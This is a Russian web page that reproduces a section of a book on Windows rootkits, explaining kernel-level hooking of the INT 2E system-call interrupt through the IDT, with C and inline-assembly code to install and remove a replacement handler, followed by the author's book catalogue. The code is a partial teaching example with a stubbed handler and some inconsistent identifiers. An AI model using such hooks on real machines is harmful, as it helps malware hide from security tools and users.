Есть вопрос?
Зайди на форум

Поиск:

Denix: русификация Ubuntu и кодеки :: RSS:: Скачать книги Колисниченко в PDF

Англо-русский словарь компьютерных терминов (Д. Колисниченко)

A  B  C  D  E  F  G  H  I  K  L  M  N  O  P  Q  R  S  T  V  W  X  Y  Z 

укрпочта отслеживание посылок перевод денег график отключения света в Кировограде график отключения счета в Киеве график отключения света в Одессе (zip)

Книга Д. Колисниченко Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.

Наибольшим недостатком пользовательских ловушек является то, что их относительно легко обнаружить. Этого недостатка нет у ловушек уровня ядра. Ловушку уровня ядра обнаружить очень сложно - многие средства обнаружения руткитом не могут справиться с ловушками уровня ядра. Руткиту ничего не стоит скрыться от антируткитных средств, если он работает на уровне ядра.

Ядро находится в верхней области виртуальной памяти. Обычно область ядра начинается с адреса 0x80000000. Если у вас процессу отводится 3 Гб виртуальной памяти (или больше), то ядро начинается с адреса 0xC0000000.

В общем случае процесс не может "добраться" к памяти ядра. Исключения могут составить лишь процессы, запущенные с отладочными привилегиями, но мы их рассматривать не будем. Для наших целей идеальным решением будет использование драйвера устройства.

Можно долго говорить о том, почему ловушки лучше устанавливать именно в ядре, а не на пользовательском уровне. Но основных причин две: во-первых, руткит, работающий на уровне ядра намного сложнее обнаружить, а во-вторых, ловушки уровня ядра являются глобальными - раз сделал и забыл, не нужно учитывать те все особенности, о которых мы говорили на пользовательском уровне.

На уровне ядра организовать ловушку мы можем тремя способами:

12.1. Перехват прерываний (таблица IDT)

Таблица IDT (Interrupt Descriptor Table) используется для управления прерываниями. Мы знаем, что прерывания бывают аппаратными (IRQ - Interrupt ReQuest) или программными (INT - interrupt). Аппаратные прерывания инициируются "железом", а программные - программным обеспечением. IDT содержит информацию о программных прерываниях - тех которые инициируются инструкцией INT <номер_прерывания>. Нас интересуют не все прерывания, а только одно-единственное - INT 2E. Данное прерывание используется для осуществления системного вызова.

Давайте вспомним, как осуществляется системный вызов. В EAX помещается номер функции (системного вызова), в EDX - параметры функции, а потом вызывается прерывание 2E. Мы можем создать ловушку, которая бы перехватывала это прерывание. Ясно, что ловушка (говоря техническим языком - обработчик прерывания) будет вызвана раньше, чем API-функция.

Исходный обработчик прерывания 2E работает примерно так: по номеру функции (регистр EAX) находит в таблице SSDT адрес нужно функции. Проверяет, соответствуют ли параметры, указанные в EDX, информации, содержащейся в таблице SSPT. Если все нормально, то он вызывает API-функцию.

Как будет работать наш обработчик? Наверное, вы уже мысленно "нарисовали" схему его функционирования: он будет то же самое, но с фильтрацией результата. Должен вас огорчить. Обработчик прерывания - это "сквозная функция", поэтому он никогда не получит управление после завершения выполнения API-функции. Это означает, что он не сможет отфильтровать результат.

Однако руткит может попытаться идентифицировать приложение, которое инициировало системный вызов. Так, можно попытаться обнаружить брандмауэр или установленную HIPS. Но об этом поговорим чуть позже.

Было сказано, что в EAX помещается номер системного вызова, а в EDX - параметры, точнее указатель на параметры, а сами параметры помещаются в стек пользовательского приложения. Кто же заполняет регистры EAX и EDX и вызывает INT 2E? Виновником всего этого является NTDLL.DLL. Правда, в последних версиях Windows NTDLL.DLL использует инструкцию SYSENTER (будет описана ниже), а не INT 2E.

Для нахождения IDT используется инструкция SIDT. Помните, что если у вас несколько процессоров, то модифицировать IDT нужно для каждого процессора, иначе все ваши старания будут бесполезными. Инструкция SIDT возвращает адрес структуры IDTINFO.

#include "ntddk.h"

typedef struct

{

WORD IDTLimit;

WORD LowIDTBase;

WORD HiIDTBase;

} IDTINFO;

Адрес самой IDT возвращается в полях структуры LowIDTBase и HighIDTBase. Для получения полного адреса можно использовать следующий макрос MLONG:

#define MLONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))<<16))

Каждая запись таблицы IDT - это структура типа IDTENTRY. Размер структуры - 64 бита. Запись таблицы IDT содержит информацию о функции-обработчике прерывания.

#include "ntddk.h"

#pragma pack(1)

typedef struct

{

WORD LowOffset;

WORD selector;

BYTE unused_lo;

unsigned char unused_hi:5;

unsigned char DPL:2;

unsigned char P:1;      // бит присутствия вектора прерывания

WORD HiOffset;

} IDTENTRY;

#pragma pack();

 

Рассмотрим функцию hoot_idt, которая устанавливает место стандартного обработчика прерываний KiSystemService собственный обработчик - функцию MyKSS. Функция использует следующие глобальные переменные:

DWORD OldKiSystemService;    // адрес настоящего обработчика прерывания

#define INT 0x2e             // номер прерывания, аналогично вы можете

// перехватить любое прерывание

 

int hook_idt()

{

      IDTINFO idt_info;

      IDTENTRY* idt_entries;

      IDTENTRY* int2e_entry;

      __asm sidt idt_info;

 

      idt_entries = (IDTENTRY*)MLONG(idt_info.LowIDTbase,idt_info.HiIDTbase);

      OldKiSystemService =

MLONG(idt_entries[INT].LowOffset,idt_entries[INT].HiOffset);

 

      int2e_entry = &(idt_entries[INT]);

      __asm{

            cli;

            lea eax,MyKSS;

            mov ebx, int2e_entry;

            mov [ebx],ax;

            shr eax,16

            mov [ebx+6],ax;

            lidt idt_info;

            sti;

      }

      return 0;

}

Функция MyKSS выглядит так:

__declspec(naked) MyKSS()

{

      __asm{

            pushad

            pushfd

            push fs

            mov bx,0x30

            mov fs,bx

            push ds

            push es

 

// здесь нужно вставить код обнаружения процесса и предотвращения его

// действий. Указатель на текущий процесс EPROCESS можно получить с

// помощью PsGEtCurrentProcess

Finish:          

            pop es

            pop ds

            pop fs

            popfd

            popad

 

            jmp   OldKiSystemService;  // вызываем исходный обработчик

      }

}

Если вам нужно вернуть все, как было, то есть восстановить исходный обработчик, используйте функцию unhook:

int unhook ()

{

      IDTINFO info;

      IDTENTRY* entries;

      IDTENTRY* int2e;

      __asm sidt info;

      entries = (IDTENTRY*) MLONG(info.LowIDTbase, info.HiIDTbase);

      int2e = &( entries[INT]);

      __asm{

            cli;

            mov eax, OldKiSystemService;

            mov ebx, int2e;

            mov [ebx],ax;

            shr eax,16

            mov [ebx+6],ax;

            lidt info;

            sti;

      }

      return 0;

}

На главную

Мне нравится!

Сегодня: 19/01

Поздравлять сегодня некого

Последние посты форума

Интересная картинка

Samsung Galaxy J2 Prime (SM-G532F)

дааа

Обучение PHP-программированию

Новый дизайн сайта

Возвращение на динамическую страницу сайта

С Новым Годом!

Бесплатный хостинг, SSL сертификат, не ограниченно

капец погода в ноябре у нас

Посоветуйте хостинг

флэшмобы

вот люди где живут... экстрим

авто-дилеры

Программы для Linux

книга Командная строка Linux и автоматизация рутинных задач

Совет:

Книги Д. Колисниченко:

Linux

Linux на ноутбукеLinux на ноутбуке
Книга ориентирована на начинающего пользователя Linux, покупающего ноутбук с предустановленной ОС Linux или планирующего установить ее самостоятельно. Содержит актуальный материал (даже по состоянию на 2011 год)                                                                                          

FreeBSD 8. Руководство администратораFreeBSD 8. Руководство администратора
Книга посвящена очередной версии популярной операционной системы с открытым исходным кодом — FreeBSD 8. Отличная книга для начинающих пользователей BSD                                                                                                                                                      

Linux. От новичка к профессионалу, 5-е изд.Linux. От новичка к профессионалу, 5-е изд.
Даны ответы на все вопросы, возникающие при работе с Linux: от установки и настройки этой ОС до настройки сервера на базе Linux. Материал книги максимально охватывает все сферы применения Linux                                                                                                            

PHP

Современный сайт на РНР и JavaScript (+CD)Современный сайт на РНР и JavaScript (+CD)
Эта книга о PHP и не только. С помощью PHP вы легко создадите сайт любого масштаба — от небольшой личной странички до сайта уровня предприятия со сложной панелью управления.                                                                                                                                

PHP 5/6 и MySQL 6. Разработка Web-приложенийPHP 5/6 и MySQL 6. Разработка Web-приложений
На практических примерах описана разработка Web-приложений на языке PHP версий 5 и 6. Лучшая моя книга по PHP, ищите в продаже 3-е издание! Издательство БХВ- Петербург                                                                                                                                      

HTML 5 & CSS 3 - практическо програмиране за начинаещиHTML 5 & CSS 3 - практическо програмиране за начинаещи
Тази книга ще ви научи как да прилагате на практика HTML 5 и CSS 3 и да се възползвате от богатите възможности, предлагани в новите уеб стандарти. Изданието е предназначено за всеки, който е решил да се възползва от съвременните технологии за уеб диз                                                   

Интернет/CMS

Joomla 1.5. Руководство пользователяJoomla 1.5. Руководство пользователя
Эта книга - простое и эффективное учебное пособие по освоению и использованию системы управления контентом веб-сайта Joomla 1.5.                                                                                                                                                                             

IRC, IRC-каналы, IRC-боты: как пользоваться и как сделать самому. Избранные технологии ИнтернетаIRC, IRC-каналы, IRC-боты: как пользоваться и как сделать самому. Избранные технологии Интернета
Эта книга целиком посвящена IRC – технологии, позволяющей создавать каналы многопользовательского общения                                                                                                                                                                                                    

Интернет: от Интернет: от "чайника" к пользователю. - 3-е изд
Книга предназначена для начинающего домашнего пользователя, поможет ему самостоятельно освоить основы Интернета и начать уверенную работу. Рассмотрены все аспекты работы в Интернете: выбор подключения, настройка подключения обычного, ADSL- и 3G-модем                                                   

Компьютер/Windows

Супер Флешка. 150 лучших программ, игр и утилит, работающих прямо с флешкиСупер Флешка. 150 лучших программ, игр и утилит, работающих прямо с флешки
На сегодняшний день практически у каждого пользователя компьютера имеется флешка, которая используется для переноса файлов                                                                                                                                                                                   

Windows 8. Настройка, работа, администрированиеWindows 8. Настройка, работа, администрирование
Книга предназначена всем пользователям, желающим начать работу с новой версией операционной системы компании Microsoft - Windows 8. Подробно описаны особенности установки, настройки и восстановления системы, а также методы повышения ее производительн                                                   

Самоучитель Microsoft Windows 8Самоучитель Microsoft Windows 8
Описаны основные нововведения в Windows 8, особое внимание уделено использованию системы на планшете. Рассмотрена установка системы как на физический компьютер (стационарный, ноутбук, нетбук, планшет), так и на виртуальный (VMware, Virtual Box).                                                        

Сети

Беспроводная сеть дома и в офисеБеспроводная сеть дома и в офисе
Книга поможет начинающему администратору домашней или офисной сети в кратчайшие сроки развернуть, настроить или модернизировать беспроводную сеть. Отличный выбор для построения сети SOHO                                                                                                                   

Сделай сам компьютерную сеть. Монтаж, настройка, обслуживание. Изд. 2.Сделай сам компьютерную сеть. Монтаж, настройка, обслуживание. Изд. 2.
Книга о настройке сети в Windows (98,NT,XP) и Linux. Является превосходным практическим руководством по созданию и обслуживанию компьютерных сетей.                                                                                                                                                          

Самоучитель системного администратора. 4-е изд.Самоучитель системного администратора. 4-е изд.
Изложены основные задачи системного администрирования, описаны базовые протоколы, даны рекомендации по выбору оборудования и проведению ежедневных рутинных операций. Подробно раскрыты технологии, используемые при построении информационных систем, опи                                                   

Безопасность

Анонимность и безопасность в Интернете. От Анонимность и безопасность в Интернете. От "чайника" к пользователю
Простым и понятным языком рассказано, как скрыть свое местонахождение и IP-адрес, используя анонимные сети Tor и I2P, посетить заблокированные администратором сайты, защитить личную переписку от посторонних глаз                                                                                          

Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.
-                                                                                                                                                                                                                                                                                                            

Автомобили

Популярный самоучитель безопасного вожденияПопулярный самоучитель безопасного вождения
Ценность этой книги в том, что впервые советы вам будет давать проверенный профи: президент клуба BMW! Как быстро и правильно научиться водить машину, парковаться, разгоняться, тормозить.                                                                                                                  

Контраварийное вождение. Советы - Best. Советует и рекомендует президент клуба BMWКонтраварийное вождение. Советы - Best. Советует и рекомендует президент клуба BMW
Ценность этой книги в том, что впервые советы по контраварийному вождению вам будет давать проверенный профи...                                                                                                                                                                                              

Что делать, чтобы не надули в автосервисе. Советует и рекомендует президент клуба BMWЧто делать, чтобы не надули в автосервисе. Советует и рекомендует президент клуба BMW
В этой книге речь пойдет о том, как правильно выбрать СТО; о преимуществах и недостатках гарантии; о том, как не дать в автосалоне навязать себе дополнительную комплектацию                                                                                                                                

Переводные книги

Переводные книгиПереводные книги
Данные книги были переведены мною на русский язык (с английского и чешского). Надеюсь качество перевода вам понравится!                                                                                                                                                                                      

Android

Безопасный Android: защищаем свои деньги и данные от кражиБезопасный Android: защищаем свои деньги и данные от кражи
Рассмотрены различные способы обеспечения безопасности Android-устройств: шифрование персональной информации, хранящейся на устройстве, шифрование передаваемых данных, VPN-соединения, анонимизация трафика                                                                                             

Планшет и смартфон на базе Android для ваших родителей, 2-е изд.Планшет и смартфон на базе Android для ваших родителей, 2-е изд.
Книга знакомит читателя с мобильными устройствами на базе Android. Она написана простым и понятным языком для людей среднего и старшего возраста                                                                                                                                                             

Планшет и смартфон на базе Android для ваших родителейПланшет и смартфон на базе Android для ваших родителей
Книга рассчитана на людей среднего и старшего возраста. Она поможет освоить современный «карманный компьютер» на базе Android, в котором все новое и "не так, как в Windows". Доступным языком описывается, как включить и выключить смартфон и т.д.                                                         

Статьи

Rambler's Top100